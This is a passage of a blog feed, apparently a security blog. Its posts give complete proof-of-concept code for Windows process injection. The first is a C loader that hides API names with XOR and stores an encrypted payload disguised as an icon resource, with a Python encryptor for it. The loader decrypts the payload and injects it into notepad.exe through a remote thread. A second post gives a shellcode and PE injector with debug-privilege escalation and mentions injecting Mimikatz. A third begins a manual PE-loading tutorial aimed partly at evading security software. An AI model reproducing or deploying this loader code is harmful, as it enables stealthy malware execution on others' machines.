		pCreateRemoteThread = GetProcAddress(GetModuleHandle(skernel32), sCreateRemoteThread);
		pCloseHandle = GetProcAddress(GetModuleHandle(skernel32), sCloseHandle);
		pWaitForSingleObject = GetProcAddress(GetModuleHandle(skernel32), sWaitForSingleObject);

        pRemoteCode = pVirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ);
        pWriteProcessMemory(hProc, pRemoteCode, (PVOID)payload, (SIZE_T)payload_len, (SIZE_T *)NULL);
        
        hThread = pCreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE) pRemoteCode, NULL, 0, NULL);
        if (hThread != NULL) {
                pWaitForSingleObject(hThread, 500);
                pCloseHandle(hThread);
                return 0;
        }
        return -1;
}


int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, 
    LPSTR lpCmdLine, int nCmdShow){    

	void *exec_mem;
	BOOL rv;
	HANDLE th, hProc = NULL;
    DWORD oldprotect = 0;
	HGLOBAL resHandle = NULL;
	HRSRC res;
	
	int pid = 0;
	unsigned char * payload;
	unsigned int payload_len;

	XOR((char *) sFindResourceA, sizeof(sFindResourceA), key, sizeof(key));
	XOR((char *) sLoadResource, sizeof(sLoadResource), key, sizeof(key));
	XOR((char *) sSizeofResource, sizeof(sSizeofResource), key, sizeof(key));
	XOR((char *) sLockResource, sizeof(sLockResource), key, sizeof(key));
	XOR((char *) sVirtualAlloc, sizeof(sVirtualAlloc), key, sizeof(key));
	XOR((char *) sRtlMoveMemory, sizeof(sRtlMoveMemory), key, sizeof(key));

	pFindResource = GetProcAddress(GetModuleHandle(skernel32), sFindResourceA);
	pLoadResource = GetProcAddress(GetModuleHandle(skernel32), sLoadResource);
	pSizeofResource = GetProcAddress(GetModuleHandle(skernel32), sSizeofResource);
	pLockResource = GetProcAddress(GetModuleHandle(skernel32), sLockResource);
	pVirtualAlloc = GetProcAddress(GetModuleHandle(skernel32), sVirtualAlloc);
	pRtlMoveMemory = GetProcAddress(GetModuleHandle(sNtdll), sRtlMoveMemory);
	pOpenProcess = GetProcAddress(GetModuleHandle(sNtdll), sOpenProcess);

	res = pFindResource(NULL, MAKEINTRESOURCE(FAVICON_ICO), RT_RCDATA);
	resHandle = pLoadResource(NULL, res);
	payload = (unsigned char *) pLockResource(resHandle);
	payload_len = pSizeofResource(NULL, res);
	

	exec_mem = pVirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

	pRtlMoveMemory(exec_mem, payload, payload_len);

	XOR((char *) exec_mem, payload_len, key, sizeof(key));

	pid = FindTarget(&quot;notepad.exe&quot;);
	printf(&quot;%d&quot;,pid);
	if (pid) {

		hProc = pOpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | 
						PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE,
						FALSE, (DWORD) pid);
		

		if (hProc != NULL) {
			Inject(hProc, exec_mem, payload_len);
			CloseHandle(hProc);
		}
	}
	return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;&lt;strong&gt;Encryptor&lt;/strong&gt;&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;import sys
from Crypto.Cipher import AES
from os import urandom
import hashlib

KEY = &apos;\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01&apos;
def pad(s):
    pad_len = AES.block_size - len(s) % AES.block_size
    return s + bytes([pad_len] * pad_len)

def aesenc(plaintext, key):
    k = hashlib.sha256(key.encode(&apos;utf-8&apos;)).digest()
    iv = urandom(AES.block_size)
    plaintext = pad(plaintext)
    cipher = AES.new(k, AES.MODE_CBC, iv)
    ciphertext = cipher.encrypt(plaintext)
    return iv + ciphertext

try:
    plaintext = open(sys.argv[1], &quot;rb&quot;).read()
except:
    print(&quot;File argument needed! %s &amp;lt;raw payload file&amp;gt;&quot; % sys.argv[0])
    sys.exit()

ciphertext = aesenc(plaintext, KEY)
open(&quot;msgBox.ico&quot;, &quot;wb&quot;).write(ciphertext)
open(&quot;msgBox.bin&quot;, &quot;wb&quot;).write(ciphertext)
print(&apos;AESkey[] = { 0x&apos; + &apos;, 0x&apos;.join(hex(ord(x))[2:] for x in KEY) + &apos; };&apos;)
print(&apos;IV[] = { 0x&apos; + &apos;, 0x&apos;.join(hex(x)[2:] for x in ciphertext[:16]) + &apos; };&apos;)
print(&apos;payload[] = { 0x&apos; + &apos;, 0x&apos;.join(hex(x)[2:] for x in ciphertext[16:]) + &apos; };&apos;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;&lt;strong&gt;Full POC&lt;/strong&gt;&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;
#include &amp;lt;windows.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;tlhelp32.h&amp;gt;
#include &quot;resources.h&quot;


#pragma comment (lib, &quot;crypt32.lib&quot;)
#pragma comment (lib, &quot;advapi32&quot;)



HANDLE(WINAPI * pCreateToolhelp32Snapshot)(DWORD dwFlags, DWORD th32ProcessID); //Kernel32.dll
BOOL(WINAPI * pProcess32First)(HANDLE hSnapshot, LPPROCESSENTRY32 lppe); //Kernel32.dll
BOOL(WINAPI * pProcess32Next)(HANDLE hSnapshot, LPPROCESSENTRY32 lppe); //Kernel32.dll
BOOL(WINAPI * pVirtualProtectEx)(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect); //Kernel32.dll
LPVOID(WINAPI * pVirtualAllocEx)(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect); //Kernel32.dll

BOOL(WINAPI * pCloseHandle)(HANDLE hObject); //Kernel32.dll
BOOL(WINAPI * pWriteProcessMemory)(HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T * lpNumberOfBytesWritten); //Kernel32.dll
HANDLE(WINAPI * pCreateRemoteThread)(HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId);
DWORD(WINAPI * pWaitForSingleObject)(HANDLE hHandle, DWORD dwMilliseconds); //Kernel32.dll
HANDLE(WINAPI * pOpenProcess)(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId); //Kernel32.dll
HRSRC (WINAPI * pFindResource)(HMODULE hModule,LPCSTR  lpName,LPCSTR  lpType);//Kernel32.dll
HGLOBAL (WINAPI * pLoadResource)(HMODULE hModule,HRSRC hResInfo);//Kernel32.dll
LPVOID (WINAPI * pLockResource)(HGLOBAL hResData);//Kernel32.dll
DWORD (WINAPI * pSizeofResource)(HMODULE hModule,HRSRC hResInfo);//Kernel32.dll
VOID (WINAPI * pRtlMoveMemory)(VOID UNALIGNED *Destination,const VOID UNALIGNED *Source,SIZE_T  Length);//// Ntdll.dll
LPVOID (WINAPI * pVirtualAlloc)(LPVOID lpAddress,SIZE_T dwSize,DWORD flAllocationType,DWORD flProtect);//Kernel32.dll



unsigned char key[] = &quot;mysecretkeee&quot;;
unsigned char AESKEY[] = { 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1 };
unsigned char sVirtualAllocEx[] = { 0x3b, 0x10, 0x1, 0x11, 0x16, 0x13, 0x9, 0x35, 0x7, 0x9, 0xa, 0x6, 0x28, 0x1 };
unsigned char sWriteProcessMemory[] = { 0x3a, 0xb, 0x1a, 0x11, 0x6, 0x22, 0x17, 0x1b, 0x8, 0x0, 0x16, 0x16, 0x20, 0x1c, 0x1e, 0xa, 0x11, 0xb };
unsigned char sCreateRemoteThread[] = { 0x2e, 0xb, 0x16, 0x4, 0x17, 0x17, 0x37, 0x11, 0x6, 0xa, 0x11, 0x0, 0x39, 0x11, 0x1, 0x0, 0x2, 0x16 };
unsigned char sProcess32First[] = { 0x3d, 0xb, 0x1c, 0x6, 0x6, 0x1, 0x16, 0x47, 0x59, 0x23, 0xc, 0x17, 0x1e, 0xd };
unsigned char sCloseHandle[] = { 0x2e, 0x15, 0x1c, 0x16, 0x6, 0x3a, 0x4, 0x1a, 0xf, 0x9, 0x0 };
unsigned char sProcess32Next[] = { 0x3d, 0xb, 0x1c, 0x6, 0x6, 0x1, 0x16, 0x47, 0x59, 0x2b, 0x0, 0x1d, 0x19 };
unsigned char sWaitForSingleObject[] = { 0x3a, 0x18, 0x1a, 0x11, 0x25, 0x1d, 0x17, 0x27, 0x2, 0xb, 0x2, 0x9, 0x8, 0x36, 0x11, 0xf, 0x6, 0x11, 0x11 };
unsigned char sFindResourceA[] = { 0x2b, 0x10, 0x1d, 0x1, 0x31, 0x17, 0x16, 0x1b, 0x1e, 0x17, 0x6, 0x0, 0x2c };
unsigned char sLoadResource[] = { 0x21, 0x16, 0x12, 0x1, 0x31, 0x17, 0x16, 0x1b, 0x1e, 0x17, 0x6, 0x0 };
unsigned char sLockResource[] = { 0x21, 0x16, 0x10, 0xe, 0x31, 0x17, 0x16, 0x1b, 0x1e, 0x17, 0x6, 0x0 };
unsigned char sSizeofResource[] = { 0x3e, 0x10, 0x9, 0x0, 0xc, 0x14, 0x37, 0x11, 0x18, 0xa, 0x10, 0x17, 0xe, 0x1c };
unsigned char sVirtualAlloc[] = { 0x3b, 0x10, 0x1, 0x11, 0x16, 0x13, 0x9, 0x35, 0x7, 0x9, 0xa, 0x6 };
unsigned char sRtlMoveMemory[] = { 0x3f, 0xd, 0x1f, 0x28, 0xc, 0x4, 0x0, 0x39, 0xe, 0x8, 0xa, 0x17, 0x14 };
unsigned char sOpenProcess[] = { 0x22, 0x9, 0x16, 0xb, 0x33, 0x0, 0xa, 0x17, 0xe, 0x16, 0x16 };
unsigned char skernel32[] = &quot;kernel32.dll&quot;;
unsigned char sNtdll[] = &quot;Ntdll.dll&quot;;

unsigned char sCreateToolhelp32Snapshot[] = &quot;CreateToolhelp32Snapshot&quot;;
int FindTarget(const char *procname) ;
int Inject(HANDLE hProc, unsigned char * payload, unsigned int payload_len);
void XOR(char * data, size_t data_len, char * key, size_t key_len);
int AESDecrypt(char * payload, size_t payload_len, char * key, size_t keylen);
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, 
    LPSTR lpCmdLine, int nCmdShow){    

	void *exec_mem;
	BOOL rv;
	HANDLE th, hProc = NULL;
    DWORD oldprotect = 0;
	HGLOBAL resHandle = NULL;
	HRSRC res;
	
	int pid = 0;
	unsigned char * payload;
	unsigned int payload_len;

	XOR((unsigned char *) sFindResourceA, sizeof(sFindResourceA), key, sizeof(key));
	XOR((unsigned char *) sLoadResource, sizeof(sLoadResource), key, sizeof(key));
	XOR((unsigned char *) sSizeofResource, sizeof(sSizeofResource), key, sizeof(key));
	XOR((unsigned char *) sLockResource, sizeof(sLockResource), key, sizeof(key));
	XOR((unsigned char *) sVirtualAlloc, sizeof(sVirtualAlloc), key, sizeof(key));
	XOR((unsigned char *) sRtlMoveMemory, sizeof(sRtlMoveMemory), key, sizeof(key));

	pFindResource = GetProcAddress(GetModuleHandle(skernel32), sFindResourceA);
	pLoadResource = GetProcAddress(GetModuleHandle(skernel32), sLoadResource);
	pSizeofResource = GetProcAddress(GetModuleHandle(skernel32), sSizeofResource);
	pLockResource = GetProcAddress(GetModuleHandle(skernel32), sLockResource);
	pVirtualAlloc = GetProcAddress(GetModuleHandle(skernel32), sVirtualAlloc);
	pRtlMoveMemory = GetProcAddress(GetModuleHandle(sNtdll), sRtlMoveMemory);

	res = pFindResource(NULL, MAKEINTRESOURCE(FAVICON_ICO), RT_RCDATA);
	resHandle = pLoadResource(NULL, res);
	payload = (unsigned char *) pLockResource(resHandle);
	payload_len = pSizeofResource(NULL, res);
	



	exec_mem = pVirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	pRtlMoveMemory(exec_mem, payload, payload_len);
	AESDecrypt((char *) exec_mem, payload_len, AESKEY, sizeof(AESKEY));
	char *execMem = (char *) exec_mem + 16;
	printf(&quot;%-20s : 0x%-016p\n&quot;, &quot;exec addr&quot;, (void *)execMem);

	pid = FindTarget(&quot;notepad.exe&quot;);

	if (pid) {

		hProc = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | 
						PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE,
						FALSE, (DWORD) pid);
		

		if (hProc != NULL) {
			Inject(hProc, execMem, payload_len);
			CloseHandle(hProc);
		}
	}
	return 0;
}

int FindTarget(const char *procname) {

        HANDLE hProcSnap;
        PROCESSENTRY32 pe32;
        int pid = 0;

		XOR((unsigned char *) sProcess32First, sizeof(sProcess32First), key, sizeof(key));
		XOR((unsigned char *) sCloseHandle, sizeof(sCloseHandle), key, sizeof(key));
		XOR((unsigned char *) sProcess32Next, sizeof(sProcess32Next), key, sizeof(key));


		pProcess32First = GetProcAddress(GetModuleHandle(skernel32), sProcess32First);
		pCloseHandle = GetProcAddress(GetModuleHandle(skernel32), sCloseHandle);
		pProcess32Next = GetProcAddress(GetModuleHandle(skernel32), sProcess32Next);

		pCreateToolhelp32Snapshot = GetProcAddress(GetModuleHandle(skernel32), sCreateToolhelp32Snapshot);

                
        hProcSnap = pCreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
        if (INVALID_HANDLE_VALUE == hProcSnap) return 0;
                
        pe32.dwSize = sizeof(PROCESSENTRY32); 
                
        if (!pProcess32First(hProcSnap, &amp;amp;pe32)) {
                pCloseHandle(hProcSnap);
                return 0;
        }
                
        while (pProcess32Next(hProcSnap, &amp;amp;pe32)) {
                if (lstrcmpiA(procname, pe32.szExeFile) == 0) {
                        pid = pe32.th32ProcessID;
                        break;
                }
        }
                
        pCloseHandle(hProcSnap);
                
        return pid;
}

int Inject(HANDLE hProc, unsigned char * payload, unsigned int payload_len) {

        LPVOID pRemoteCode = NULL;
        HANDLE hThread = NULL;		

		XOR((unsigned char *) sVirtualAllocEx, sizeof(sVirtualAllocEx), key, sizeof(key));
		XOR((unsigned char *) sWriteProcessMemory, sizeof(sWriteProcessMemory), key, sizeof(key));
		XOR((unsigned char *) sCreateRemoteThread, sizeof(sCreateRemoteThread), key, sizeof(key));
		XOR((unsigned char *) sWaitForSingleObject, sizeof(sWaitForSingleObject), key, sizeof(key));
		XOR((unsigned char *) sCloseHandle, sizeof(sCloseHandle), key, sizeof(key));

		pVirtualAllocEx = GetProcAddress(GetModuleHandle(skernel32), sVirtualAllocEx);
		pWriteProcessMemory = GetProcAddress(GetModuleHandle(skernel32), sWriteProcessMemory);
		pCreateRemoteThread = GetProcAddress(GetModuleHandle(skernel32), sCreateRemoteThread);
		pCloseHandle = GetProcAddress(GetModuleHandle(skernel32), sCloseHandle);
		pWaitForSingleObject = GetProcAddress(GetModuleHandle(skernel32), sWaitForSingleObject);

        pRemoteCode = pVirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ);
        pWriteProcessMemory(hProc, pRemoteCode, (PVOID)payload, (SIZE_T)payload_len, (SIZE_T *)NULL);
        
        hThread = pCreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE) pRemoteCode, NULL, 0, NULL);
        if (hThread != NULL) {
                pWaitForSingleObject(hThread, 500);
                pCloseHandle(hThread);
                return 0;
        }
        return -1;
}

void XOR(char * data, size_t data_len, char * key, size_t key_len){
	int j;
	
	j = 0;
	for (int i = 0; i &amp;lt; data_len; i++) {
		if (j == key_len - 1) j = 0;

		data[i] = data[i] ^ key[j];
		j++;
	}
}

int AESDecrypt(char * payload, size_t payload_len, char * key, size_t keylen) {
        HCRYPTPROV hProv;
        HCRYPTHASH hHash;
        HCRYPTKEY hKey;

        if (!CryptAcquireContextW(&amp;amp;hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)){
                return -1;
        }
        if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &amp;amp;hHash)){
                return -1;
        }
        if (!CryptHashData(hHash, (BYTE*)key, (DWORD)keylen, 0)){
                return -1;              
        }
        if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0,&amp;amp;hKey)){
                return -1;
        }
        
        if (!CryptDecrypt(hKey, (HCRYPTHASH) NULL, 0, 0, payload, &amp;amp;payload_len)){
                return -1;
        }
        
        CryptReleaseContext(hProv, 0);
        CryptDestroyHash(hHash);
        CryptDestroyKey(hKey);
        
        return 0;
}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>Remote PE Loading</title><link>https://wanderlens.vercel.app/posts/remoteinjectpe/</link><guid isPermaLink="true">https://wanderlens.vercel.app/posts/remoteinjectpe/</guid><pubDate>Sat, 22 Jan 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;img src=&quot;1.png&quot; alt=&quot;Untitled&quot; /&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Open the Target Process: Similar to loading a PE file, use OpenProcess.&lt;/li&gt;
&lt;li&gt;Allocate Memory for Shellcode: Use VirtualAllocEx to allocate memory in the target process for
the shellcode.&lt;/li&gt;
&lt;li&gt;Write the Shellcode into the Target Process: Use WriteProcessMemory to write the shellcode into
the allocated memory.&lt;/li&gt;
&lt;li&gt;Create a Remote Thread to Execute the Shellcode: Use CreateRemoteThread to execute the
shellcode in the target process.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;I’ve successfully managed self-loading of a PE executable file, yet I encounter difficulties when attempting to
inject a standard PE file into another process, such as embedding Mimikatz into the notepad.exe process.&lt;/p&gt;
&lt;h2&gt;&lt;strong&gt;Full POC&lt;/strong&gt;&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;windows.h&amp;gt;
#include &amp;lt;iostream&amp;gt;
#include &amp;lt;fstream&amp;gt;
#include &amp;lt;string&amp;gt;
#include &amp;lt;vector&amp;gt;

bool LoadPeIntoProcess(DWORD pid, const std::string&amp;amp; pePath) {

   HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
   if (hProcess == NULL) {
       std::cerr &amp;lt;&amp;lt; &quot;Failed to open process. Error: &quot; &amp;lt;&amp;lt; GetLastError() &amp;lt;&amp;lt; std::endl;
       return false;
   }

  std::ifstream file(pePath, std::ios::binary | std::ios::ate);
   if (!file) {
       std::cerr &amp;lt;&amp;lt; &quot;Failed to open file.&quot; &amp;lt;&amp;lt; std::endl;
       CloseHandle(hProcess);
       return false;
   }

   std::streamsize size = file.tellg();
   file.seekg(0, std::ios::beg);

   char* buffer = new char[size];
   if (!file.read(buffer, size)) {
       std::cerr &amp;lt;&amp;lt; &quot;Failed to read file.&quot; &amp;lt;&amp;lt; std::endl;
       delete[] buffer;
       CloseHandle(hProcess);
       return false;
   }

   SIZE_T bufferSize = static_cast&amp;lt;SIZE_T&amp;gt;(size);

   LPVOID remoteBuffer = VirtualAllocEx(hProcess, NULL, bufferSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
   if (remoteBuffer == NULL) {
       std::cerr &amp;lt;&amp;lt; &quot;Failed to allocate memory in process. Error: &quot; &amp;lt;&amp;lt; GetLastError() &amp;lt;&amp;lt; std::endl;
       delete[] buffer;
       CloseHandle(hProcess);
       return false;
   }

   if (!WriteProcessMemory(hProcess, remoteBuffer, buffer, bufferSize, NULL)) {
       std::cerr &amp;lt;&amp;lt; &quot;Failed to write to process memory. Error: &quot; &amp;lt;&amp;lt; GetLastError() &amp;lt;&amp;lt; std::endl;
       VirtualFreeEx(hProcess, remoteBuffer, 0, MEM_RELEASE);
       delete[] buffer;
       CloseHandle(hProcess);
       return false;
   }

   HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)LoadLibraryA, remoteBuffer, 0, NULL);
   if (hThread == NULL) {
       std::cerr &amp;lt;&amp;lt; &quot;Failed to create remote thread. Error: &quot; &amp;lt;&amp;lt; GetLastError() &amp;lt;&amp;lt; std::endl;
       VirtualFreeEx(hProcess, remoteBuffer, 0, MEM_RELEASE);
       delete[] buffer;
       CloseHandle(hProcess);
       return false;
   }

   CloseHandle(hThread);
   CloseHandle(hProcess);
   delete[] buffer;

   return true;
}

// Function to read shellcode from a file
std::vector&amp;lt;char&amp;gt; ReadShellcodeFromFile(const std::string&amp;amp; filePath) {
   std::ifstream file(filePath, std::ios::binary | std::ios::ate);
   std::streamsize size = file.tellg();
   file.seekg(0, std::ios::beg);

   std::vector&amp;lt;char&amp;gt; buffer(size);
   if (file.read(buffer.data(), size)) {
       return buffer;
   }
   else {
       std::cerr &amp;lt;&amp;lt; &quot;Failed to read shellcode from file.&quot; &amp;lt;&amp;lt; std::endl;
       return {};
   }
}

bool InjectShellcode(DWORD pid, const std::vector&amp;lt;char&amp;gt;&amp;amp; shellcode) {
   HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
   if (hProcess == NULL) {
       std::cerr &amp;lt;&amp;lt; &quot;Failed to open process.&quot; &amp;lt;&amp;lt; std::endl;
       return false;
   }

   LPVOID pRemoteShellcode = VirtualAllocEx(hProcess, NULL, shellcode.size(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
   if (pRemoteShellcode == NULL) {
       std::cerr &amp;lt;&amp;lt; &quot;Failed to allocate memory in the target process.&quot; &amp;lt;&amp;lt; std::endl;
       CloseHandle(hProcess);
       return false;
   }

   SIZE_T bytesWritten;
   if (!WriteProcessMemory(hProcess, pRemoteShellcode, shellcode.data(), shellcode.size(), &amp;amp;bytesWritten)) {
       std::cerr &amp;lt;&amp;lt; &quot;Failed to write shellcode into the target process.&quot; &amp;lt;&amp;lt; std::endl;
       VirtualFreeEx(hProcess, pRemoteShellcode, 0, MEM_RELEASE);
       CloseHandle(hProcess);
       return false;
   }

   HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pRemoteShellcode, NULL, 0, NULL);
   if (hThread == NULL) {
       std::cerr &amp;lt;&amp;lt; &quot;Failed to create remote thread.&quot; &amp;lt;&amp;lt; std::endl;
       VirtualFreeEx(hProcess, pRemoteShellcode, 0, MEM_RELEASE);
       CloseHandle(hProcess);
       return false;
   }

   CloseHandle(hThread);
   CloseHandle(hProcess);
   return true;
}
void setDebugPrivilege() {
   HANDLE hToken;
   LUID luid;
   TOKEN_PRIVILEGES tkp;

   if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &amp;amp;hToken)) {
   	std::cerr &amp;lt;&amp;lt; &quot;OpenProcessToken failed.&quot; &amp;lt;&amp;lt; std::endl;
   	return;
   }

   if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &amp;amp;luid)) {
   	std::cerr &amp;lt;&amp;lt; &quot;LookupPrivilegeValue failed.&quot; &amp;lt;&amp;lt; std::endl;
   	CloseHandle(hToken);
   	return;
   }

   tkp.PrivilegeCount = 1;
   tkp.Privileges[0].Luid = luid;
   tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

   if (!AdjustTokenPrivileges(hToken, FALSE, &amp;amp;tkp, sizeof(tkp), NULL, NULL)) {
   	std::cerr &amp;lt;&amp;lt; &quot;AdjustTokenPrivileges failed.&quot; &amp;lt;&amp;lt; std::endl;
   }

   CloseHandle(hToken);
}
int main(int argc, char* argv[]) {
   if (argc &amp;lt; 4) {
       std::cerr &amp;lt;&amp;lt; &quot;Usage: &quot; &amp;lt;&amp;lt; argv[0] &amp;lt;&amp;lt; &quot; &amp;lt;PID&amp;gt; -s &amp;lt;ShellcodeFilePath&amp;gt; or -p &amp;lt;PEFilePath&amp;gt;&quot; &amp;lt;&amp;lt; std::endl;
       return 1;
   }

   DWORD pid = atoi(argv[1]);
   std::string option = argv[2];
   std::string input = argv[3];
   setDebugPrivilege();
   if (option == &quot;-s&quot;) {
       std::vector&amp;lt;char&amp;gt; shellcode = ReadShellcodeFromFile(input);
       if (!shellcode.empty()) {
           InjectShellcode(pid, shellcode);
       }
   }
   else if (option == &quot;-p&quot;) {
       LoadPeIntoProcess(pid, input);
   }
   else {
       std::cerr &amp;lt;&amp;lt; &quot;Invalid option. Use -s for shellcode file path or -p for PE file path.&quot; &amp;lt;&amp;lt; std::endl;
       return 1;
   }

   return 0;
}

&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>The Dark Arts of PE Loading in Windows</title><link>https://wanderlens.vercel.app/posts/thedarkartsofpeloadinginwindows/</link><guid isPermaLink="true">https://wanderlens.vercel.app/posts/thedarkartsofpeloadinginwindows/</guid><pubDate>Sat, 22 Jan 2022 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;&lt;strong&gt;Giới thiệu&lt;/strong&gt;&lt;/h1&gt;
&lt;p&gt;Thông thường, khi chúng ta chạy một chương trình .exe hoặc nạp một thư viện .dll, hệ điều hành Windows sẽ thay chúng ta xử lý mọi thứ: từ việc đọc file trên đĩa, cấp phát bộ nhớ, nạp mã máy, đến việc khởi chạy chương trình. Tất cả được thực hiện thông qua các hàm như CreateProcess, LoadLibrary hoặc ShellExecute.&lt;/p&gt;
&lt;p&gt;Nhưng điều gì sẽ xảy ra nếu chúng ta không thể – hoặc không muốn – sử dụng những hàm này?
Trong một số tình huống đặc biệt như:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Chúng ta muốn chạy chương trình từ bộ nhớ mà không cần ghi ra đĩa.&lt;/li&gt;
&lt;li&gt;Cần ẩn hành vi thực thi khỏi phần mềm bảo mật.&lt;/li&gt;
&lt;li&gt;Hoặc đơn giản là muốn hiểu rõ cách Windows thực sự hoạt động bên trong.
... thì RunPE sẽ là một lựa chọn mạnh mẽ.&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;&lt;strong&gt;PEB là gì?&lt;/strong&gt;&lt;/h1&gt;
&lt;p&gt;Khi nhắc tới việc không gọi WinAPI trực tiếp chúng ta không thể nào không nhắc tới PEB. Vậy PEB là gì?
&lt;img src=&quot;browse-peb1.png&quot; alt=&quot;alt text&quot; /&gt;
PEB (Process Environment Block) là một cấu trúc dữ liệu nội bộ của Windows, lưu trữ thông tin về process đang chạy. Nó tồn tại trong không gian bộ nhớ của mỗi process và được hệ điều hành sử dụng để quản lý process đó. Tuy không được document công khai đầy đủ bởi Microsoft nhưng chúng ta có thể tra trong &lt;code&gt;winternl.h&lt;/code&gt; hoặc Reverse từ &lt;code&gt;ntdll.dll&lt;/code&gt;.&lt;/p&gt;
&lt;h1&gt;&lt;strong&gt;Manual PE Loading&lt;/strong&gt;&lt;/h1&gt;
&lt;p&gt;Thay vì nhờ hệ điều hành nạp và thực thi chương trình, chúng ta sẽ tự mình đảm nhiệm vai trò đó. Cụ thể, chúng ta sẽ:&lt;/p&gt;
&lt;h2&gt;&lt;strong&gt;File Loading&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;CreateFileA -&amp;gt; VirtualAlloc&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Mở file PE&lt;/li&gt;
&lt;li&gt;Lấy file size&lt;/li&gt;
&lt;li&gt;Allocate memory với PAGE_READWRITE&lt;/li&gt;
&lt;li&gt;Đọc toàn bộ file vào memory:  sẽ có 2 phương pháp 1 là chúng ta có thể đọc file vào memory, 2 là chúng ta có thể dùng CreateFileMappingA và MapViewOfFile.
🔸 Memory Mapping: Dùng CreateFileMapping + MapViewOfFile (Windows API) để ánh xạ nội dung file vào không gian địa chỉ ảo của process.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;HANDLE hFile = CreateFile(...);
HANDLE hMapping = CreateFileMapping(hFile, NULL, PAGE_READONLY, 0, 0, NULL);
LPVOID pData = MapViewOfFile(hMapping, FILE_MAP_READ, 0, 0, 0);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;🔸 ReadFile: Dùng các hàm như ReadFile, fread, ifstream.read() để đọc nội dung file thành từng khối vào buffer bộ nhớ.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;HANDLE hFile = CreateFile(...);
ReadFile(hFile, buffer, size, &amp;amp;bytesRead, NULL);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Áp dụng kĩ thuật file maping ta có:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;class FileMap {
public:
    explicit FileMap(const std::string&amp;amp; path) {
        file_ = CreateFileA(path.c_str(), GENERIC_READ, FILE_SHARE_READ, nullptr,
            OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr);
        if (file_ == INVALID_HANDLE_VALUE) {
            std::cerr &amp;lt;&amp;lt; &quot;[FileMap] Cannot open &quot; &amp;lt;&amp;lt; path &amp;lt;&amp;lt; &quot; (&quot; &amp;lt;&amp;lt; GetLastError() &amp;lt;&amp;lt; &quot;)\n&quot;;
            return;
        }
        size_ = GetFileSize(file_, nullptr);
        mapping_ = CreateFileMappingA(file_, nullptr, PAGE_READONLY, 0, 0, nullptr);
        if (!mapping_) {
            std::cerr &amp;lt;&amp;lt; &quot;[FileMap] CreateFileMapping failed (&quot; &amp;lt;&amp;lt; GetLastError() &amp;lt;&amp;lt; &quot;)\n&quot;;
            return;
        }
        view_ = MapViewOfFile(mapping_, FILE_MAP_READ, 0, 0, 0);
        if (!view_) {
